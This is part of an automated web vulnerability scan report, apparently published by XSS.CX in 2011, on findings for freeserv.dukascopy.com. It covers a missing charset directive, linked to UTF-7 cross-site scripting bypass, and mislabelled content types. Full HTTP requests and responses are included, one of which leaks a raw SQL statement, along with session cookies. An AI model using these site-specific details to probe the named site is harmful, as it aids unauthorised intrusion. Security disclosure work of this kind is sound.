If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


3.1. http://freeserv.dukascopy.com/advert/showX.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /advert/showX.php

Request

GET /advert/showX.php?id=27&prodId=market_report_X&type=0 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://freeserv.dukascopy.com/analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Expires: Mon, 26 Jul 1990 05:00:00 GMT
Last-Modified: Thu, 17 Mar 2011 18:24:25 GMT
Cache-Control: no-cache, must-revalidate, no-store, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:25 GMT
Server: lighttpd/1.4.26
Content-Length: 212

http://www.dukascopy.com/tradercontest/?action=prizes<br>Error storing IP: 2915161843<br><font color=gray><small><small><small>INSERT INTO advert.block_ip (ip, idb, date) VALUES ('2915161843', '27', '
...[SNIP]...

3.2. http://freeserv.dukascopy.com/dhtml_rb/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /dhtml_rb/

Request

GET /dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/index.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:41 GMT
Server: lighttpd/1.4.26
Content-Length: 15565

<!-- Check IB [http://www.horizonbroker.co.uk/index.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><!-- mb=0 cpy=1 pop=1 --><html>

<head>
<title>Dukascopy Running Bo
...[SNIP]...

3.3. http://freeserv.dukascopy.com/dhtml_rb/prc.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /dhtml_rb/prc.php

Request

GET /dhtml_rb/prc.php?STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://freeserv.dukascopy.com/dhtml_rb/?W=990&STOCKS=29,30,74,767,2,1,532,515,20,60,543,521,518,517,516,511,510,509,16,15,7,6,5,336,335,334,333,14,13,12,11,10,9,4,3&C1=11598b&C2=11598b&C3=FFFFFF&C8=C0C0C0&C9=&C10=_self&C11=0&C12=2&BG_all=0054a6&C21=ffffff&C22=ffffff&C23=C0C0C0&TB=1&B=1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DLTC=1%3B20110317182425%3B20110317182425%3Bmarket_report_X%3BpopUp%3BjieQLfHH%3Bunknown%3Bunknown; pstuid=8e055c19128f520bb1482e2ce3445428; pstref=adv; __utma=234669835.1616589490.1300386324.1300386324.1300386324.1; __utmb=234669835; __utmc=234669835; __utmz=234669835.1300386324.1.1.utmccn=(referral)|utmcsr=freeserv.dukascopy.com|utmcct=/analytics/index.php|utmcmd=referral

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Expires: Mon, 26 Jul 1990 05:00:00 GMT
Last-Modified: Thu, 17 Mar 2011 18:24:57 GMT
Cache-Control: no-cache, must-revalidate, no-store, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:57 GMT
Server: lighttpd/1.4.26
Content-Length: 872

<html>
<head>
<meta http-equiv="Pragma" content="no-cache" />
<meta http-equiv="Expires" content="-1" />
</head>
<body>
<script type="text/javascript">

setTimeout('document.location.reload()', 15000)
...[SNIP]...

3.4. http://freeserv.dukascopy.com/qt/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /qt/

Request

GET /qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://www.horizonbroker.co.uk/contact.html
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:12 GMT
Server: lighttpd/1.4.26
Content-Length: 34189

<!-- Check IB [http://www.horizonbroker.co.uk/contact.html] -->
<!-- Read file --><!-- from file: 0 1 1-->
<!-- mb=0 cpy=1 pop=1 --><html>

<head>
<style>
#logo {font-family:Tahoma; font-size:9px;
   
...[SNIP]...

3.5. http://freeserv.dukascopy.com/qt/prc.php  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://freeserv.dukascopy.com
Path:   /qt/prc.php

Request

POST /qt/prc.php HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://freeserv.dukascopy.com/qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1
Origin: http://freeserv.dukascopy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 512

aData[id]=29%2C30%2C74%2C767%2C2%2C1%2C532%2C526%2C525%2C522%2C520%2C515%2C514%2C20%2C26%2C21%2C60%2C549%2C548%2C547%2C546%2C545%2C544%2C543%2C542%2C541%2C540%2C539%2C538%2C537%2C536%2C535%2C534%2C533
...[SNIP]...

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:13 GMT
Server: lighttpd/1.4.26
Content-Length: 1404

sr('29',8.9912);
sr('30',1.278);
sr('74',7.1397);
sr('767',80.09);
sr('2',1.6139);
sr('1',1.4013);
sr('532',1.1382);
sr('526',0.1045);
sr('525',13.34);
sr('522',0.6882);
sr('520',0.7925);
sr('515',1.1
...[SNIP]...

4. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


4.1. http://freeserv.dukascopy.com/advert/showX.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://freeserv.dukascopy.com
Path:   /advert/showX.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /advert/showX.php?id=27&prodId=market_report_X&type=0 HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://freeserv.dukascopy.com/analytics/index.php?tab_x=218&bg=f4f4f4&col=d0d0d0&tit_col=000000&fnt_col=000000&lnk_col=005599&hgt=292&sel=0&lang=english&tit=Daily+Market+Reports
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Expires: Mon, 26 Jul 1990 05:00:00 GMT
Last-Modified: Thu, 17 Mar 2011 18:24:25 GMT
Cache-Control: no-cache, must-revalidate, no-store, max-age=0
Pragma: no-cache
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:25 GMT
Server: lighttpd/1.4.26
Content-Length: 212

http://www.dukascopy.com/tradercontest/?action=prizes<br>Error storing IP: 2915161843<br><font color=gray><small><small><small>INSERT INTO advert.block_ip (ip, idb, date) VALUES ('2915161843', '27', '
...[SNIP]...

4.2. http://freeserv.dukascopy.com/qt/prc.php  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://freeserv.dukascopy.com
Path:   /qt/prc.php

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

POST /qt/prc.php HTTP/1.1
Host: freeserv.dukascopy.com
Proxy-Connection: keep-alive
Referer: http://freeserv.dukascopy.com/qt/?W=269&H=360&STOCKS=29,30,74,767,2,1,532,526,525,522,520,515,514,20,26,21,60,549,548,547,546,545,544,543,542,541,540,539,538,537,536,535,534,533,531,530,529,528,527,524,523,521,519,518,517,516,513,512,511,510,509,508,507,506,505,59,19,18,17,16,15,7,6,5,324,336,335,334,333,28,25,23,22,14,13,12,11,10,9,4,3&tit=&C1=fbfbfb&C2=F5F5F5&C5=FFFFFF&C6=666666&C8=C0C0C0&C9=&C10=_self&C21=000000&C22=000000&B=1
Origin: http://freeserv.dukascopy.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Content-Length: 512

aData[id]=29%2C30%2C74%2C767%2C2%2C1%2C532%2C526%2C525%2C522%2C520%2C515%2C514%2C20%2C26%2C21%2C60%2C549%2C548%2C547%2C546%2C545%2C544%2C543%2C542%2C541%2C540%2C539%2C538%2C537%2C536%2C535%2C534%2C533
...[SNIP]...

Response

HTTP/1.1 200 OK
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Content-type: text/html
Date: Thu, 17 Mar 2011 18:24:13 GMT
Server: lighttpd/1.4.26
Content-Length: 1404

sr('29',8.9912);
sr('30',1.278);
sr('74',7.1397);
sr('767',80.09);
sr('2',1.6139);
sr('1',1.4013);
sr('532',1.1382);
sr('526',0.1045);
sr('525',13.34);
sr('522',0.6882);
sr('520',0.7925);
sr('515',1.1
...[SNIP]...

Report generated by XSS.CX at Thu Mar 17 14:14:22 CDT 2011.